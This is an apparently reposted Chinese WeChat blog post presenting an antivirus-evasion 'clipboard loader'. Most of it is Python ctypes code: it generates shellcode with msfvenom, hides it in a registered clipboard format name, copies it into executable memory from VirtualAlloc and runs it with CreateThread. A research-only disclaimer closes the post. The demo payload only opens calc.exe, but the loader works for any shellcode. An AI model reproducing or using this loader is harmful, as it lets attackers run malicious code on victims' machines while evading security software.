https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerclipboardformatw
UINT RegisterClipboardFormatW(
LPCSTR lpszFormat
);
nameid = ctypes.windll.user32.RegisterClipboardFormatW('test')
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboardformatnamew
int GetClipboardFormatNameW( UINT format, LPWSTR lpszFormatName, int cchMaxCount);
这个函数是大致功能我们可以看到啊,检索我们指定格式的剪切板,将它的名称写入缓存区
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len)
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -b="x00" -f py -o 123.py
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)+1, 0x3000, 0x40)
name = ctypes.windll.user32.RegisterClipboardFormatW(buf)
ctypes.windll.user32.GetClipboardFormatNameW(name,ptr,len(buf)+1)
handle = ctypes.windll.kernel32.CreateThread(0,0,ptr,0,0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle,-1)
源码公众号回复:剪切板加载器
本文始发于微信公众号(XG小刚):花里胡哨免杀之《剪切板加载器》
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论